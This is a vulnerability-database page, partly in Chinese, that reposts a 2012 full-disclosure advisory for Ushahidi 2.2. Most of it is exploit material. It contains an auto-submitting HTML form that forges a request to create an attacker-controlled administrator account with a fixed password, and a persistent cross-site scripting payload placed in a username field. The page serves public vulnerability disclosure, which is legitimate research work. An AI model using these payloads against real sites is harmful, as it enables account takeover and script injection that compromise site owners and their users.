Ushahidi 2.2 Cross Site Request Forgery / Cross Site Scripting

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047660 漏洞类型
发布时间 2012-04-15 更新时间 2012-04-15
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012040115
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Exploit Title: Ushahidi 2.2 Multiple Vulnerabilites
# Date: 04/12/2012
# Author: shpendk
# Software Link: http://download.ushahidi.com/
# Version: 2.2
# Tested on: Xampp on Windows
# Vendor Contact:       03/25/2012
-> Contacted again:      03/28/2012
-> No Response yet:      04/11/2012
-> Full Disclosure:      04/12/2012
 
 
 
1) CSRF Add Admin PoC:
 
-----------------------------------------------------------------------------------------------------
<html>
<body>
<form action="http://127.0.0.1/admin/users/edit" method="POST">
<input type="hidden" name="name" value="myname">
<input type="hidden" name="email" value="shpendk13@gmail.com">
<input type="hidden" name="role" value="admin">
<input type="hidden" name="username" value="shpendk">
<input type="hidden" name="notify" value="1">
<input type="hidden" name="password" value="letmein">
<input type="hidden" name="password_again" value="letmein">
</form>
<script> document.forms[0].submit(); </script>
 
</body>
</html>
         
-------------------------------------------------------------------------------------------------------
 
 
 
2) Persistent XSS
 
------------------------------------------------------------------------------------------------------
 
    -> Go to http://127.0.0.1/login
    -> Create New User
        -> Enter username: <img/onerror="alert(123)"src=a>
    -> Login as Admin and go to http://127.0.0.1/admin/users
         
------------------------------------------------------------------------------------------------------